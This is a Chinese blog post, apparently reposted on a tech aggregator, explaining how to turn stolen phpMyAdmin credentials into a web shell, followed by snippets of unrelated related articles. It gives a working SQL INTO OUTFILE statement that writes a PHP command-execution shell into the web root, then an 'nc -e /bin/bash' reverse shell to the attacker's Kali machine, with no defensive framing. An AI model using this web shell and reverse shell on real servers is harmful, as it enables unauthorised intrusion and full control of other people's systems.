草庐IT

利用phpmyadmin拿Webshell

Jason_huawen 2023-04-15 原文

利用phpmyadmin拿Webshell

当拿到phpmyadmin的用户名密码后，如何拿到webshell呢，步骤如下：

  1. 确认可以通过phpmyadmin写入文件，执行SQL语句：

    show global variables like "secure%";

secure_file_priv：
值为NULL表示禁止限制操作
值为某一目录，则只能操作该目录下的文件
没有值则表示不对读写文件进行限制

  1. 执行下面的SQL语句，生成webshell文件：

    SELECT '<HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><?php if($_GET["cmd"]) {system($_GET["cmd"]);} ?> </pre></BODY></HTML>' INTO OUTFILE '/var/www/html/huawen.php'

  2. 此时在输入框中输入nc -e /bin/bash <kali linux IP 地址> <端口>

phpmyadminWebshellgtlt网络安全

有关利用phpmyadmin拿Webshell的更多相关文章

  1. iOS快捷指令：执行Python脚本（利用iSH Shell） - 2

    文章目录前言核心逻辑配置iSH安装Python创建Python脚本配置启动文件测试效果快捷指令前言iOS快捷指令所能做的操作极为有限。假如快捷指令能运行Python程序，那么可操作空间就瞬间变大了。iSH是一款免费的iOS软件，它模拟了一个类似Linux的命令行解释器。我们将在iSH中运行Python程序，然后在快捷指令中获取Python程序的输出。核心逻辑我们用一个“获取当前日期”的Python程序作为演示（其实快捷指令中本身存在“获取当前日期”的操作，因而此需求可以不用Python，这里仅仅为了演示方便），核心代码如下。>>>importtime>>>time.strftime('%Y-%

  2. ruby - Sidekiq 可以利用多个 CPU 内核吗？ - 2

    我是Sidekiq的新手，将它与AmazonEC2实例上的Ruby结合使用，以使用ImageMagick处理图像来完成一些工作。在运行它时，我意识到每个工作人员都在同一个核心上运行。我使用EC2c3.2xlarge机器，它们有8个内核。它显示CPU使用率为15%，但一个内核使用了100%，而其他内核使用了0%。Sidekiq可以为不同的worker使用不同的CPU内核吗？如果可以，这种低效率是由ImageMagic造成的吗？我怎样才能让它使用其他内核？ 最佳答案 如果您想使用MRI使用多个内核，则需要启动多个Sidekiq进程；为您

  3. PLUS模型和InVEST模型生态系统服务多情景模拟预测、ArcGIS空间数据处理、空间分析与制图、土地利用时空变化 - 2

    查看原文>>>基于”PLUS模型+“生态系统服务多情景模拟预测实践技术应用目录第一章、理论基础与软件讲解第二章、数据获取与制备第三章、土地利用格局模拟第四章、生态系统服务评估第五章、时空变化及驱动机制分析第六章、论文撰写技巧及案例分析基于ArcGISPro、Python、USLE、INVEST模型等多技术融合的生态系统服务构建生态安全格局基于生态系统服务（InVEST模型）的人类活动、重大工程生态成效评估、论文写作等具体应用基于ArcGISPro、R、INVEST等多技术融合下生态系统服务权衡与协同动态分析实践应用    本文从数据、方法、实践三方面对生态系统服务多情景预测进行讲解。内容涵盖多

  4. ruby-on-rails - Ruby on Rails 有 "phpmyadmin"吗？ - 2

    关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。我们不允许提问寻求书籍、工具、软件库等的推荐。您可以编辑问题，以便用事实和引用来回答。关闭7年前。Improvethisquestion类似phpmyadmin但用于RubyonRails的东西？我需要一个应用程序来轻松管理我的mysql数据库。这是为我自己准备的。Mysql数据库的GUI

  5. 【python学习】python实现利用pygame绘画基本图形、显示图片，实现图形图片随机效果。python绘制行列图片 - 2

    python实现利用pygame绘画基本图形、显示图片，实现图形图片随机效果。前言一、pygame是什么？二、使用步骤1.引入库2.实现绘制代码3.结果截图总结前言今天刚接触python，简单上手了一下第三方库pygame的相关函数使用。首先python是一门弱类型的编程语言，变量可以不指定具体类型直接使用。但是它对语法的缩进有严格的要求。一、pygame是什么？Pygame是一款专门为开发和设计2D电子游戏而生的软件包，它支Windows、Linux、MacOS等操作系统，具有良好的跨平台性。Pygame由PeteShinners于2000年开发而成，是一款免费、开源的的软件包。Pygame

  6. javascript - 利用源映射的堆栈跟踪 - 2

    概述:浏览器控制台中的堆栈跟踪输出与调用Error.stack时返回的跟踪不同。控制台堆栈跟踪似乎考虑了源映射，而Error.stack堆栈跟踪则没有。控制台输出这是输出到控制台的默认堆栈跟踪。UncaughtTypeError:Cannotsetproperty'y'ofundefinedsource.js:4(anonymousfunction)source.js:4(anonymousfunction)source.js:4(anonymousfunction)(index):17Error.stack输出这是来自Error.stack的堆栈跟踪:TypeError:Cannot

  7. javascript - 使用文本区域利用 jQuery HTML 解码 - 2

    跟进mylastquestion...如果攻击者可以访问encodedText，则可以利用此代码:return$('').html(encodedText).text();例如$("").html('').text()显示警报。Thisanswer建议使用textarea而是为了避免XSS漏洞:return$('').html(encodedText).text();这能够安全地处理之前的漏洞。然而，thisanswer表示使用textarea时仍然存在XSS漏洞:Isuggestusingasafer,moreoptimizedfunctiondon'tusejQuery.html(

  8. 企业软件怎样利用ChatGPT？ - 2

    文/明道云创始人任向晖作为商业和科技话题的博主，不评论一下ChatGPT似乎是不应该的。毫无疑问，ChatGPT的出现已经远远超过了科技商业要闻的标准，它的革命性已经被飙速增长的用户所直接证明，以至于留给我们的问题只有两个：什么时候用？和怎么用？本文只聚焦在我所熟悉的企业软件行业，探讨这个领域如何利用ChatGPT来加强现有的商业和捕捉新的机遇。然而，即使是企业软件领域，也有很多的门类和分支。所以，我只能从抽象的角度，讲几个思考层次，再举一些可能的例子，希望对业内同仁有所启发。和过去的写作相比，这篇文章动笔之前，我甚至有一些小小的不安。因为本文的标题也可以直接去问ChatGPT，它也会给出一段

  9. 利用腾讯云函数实现和鲸社区每日自动登录 - 2

    和鲸社区算是国内比较不错的机器学习算力平台，可以通过每日登录积累成长值，每月还会给鲸币奖励，有一段时间每天都会登登陆一次，但是有时候还是会忘记。最近根据腾讯云Serverless部署云函数实现自动登录，解放双手。首先每次登陆后将进行微信推送，我采用的是pushplus平台，获取token即可。微信推送#从pushplus平台获取tokentoken='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'defsendToWechat(title,content):url='http://www.pushplus.plus/send'headers={'Content-Type

  10. RCE(远程代码执行漏洞)原理及漏洞利用 - 2

    作用RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。原理一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器。现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"

随机推荐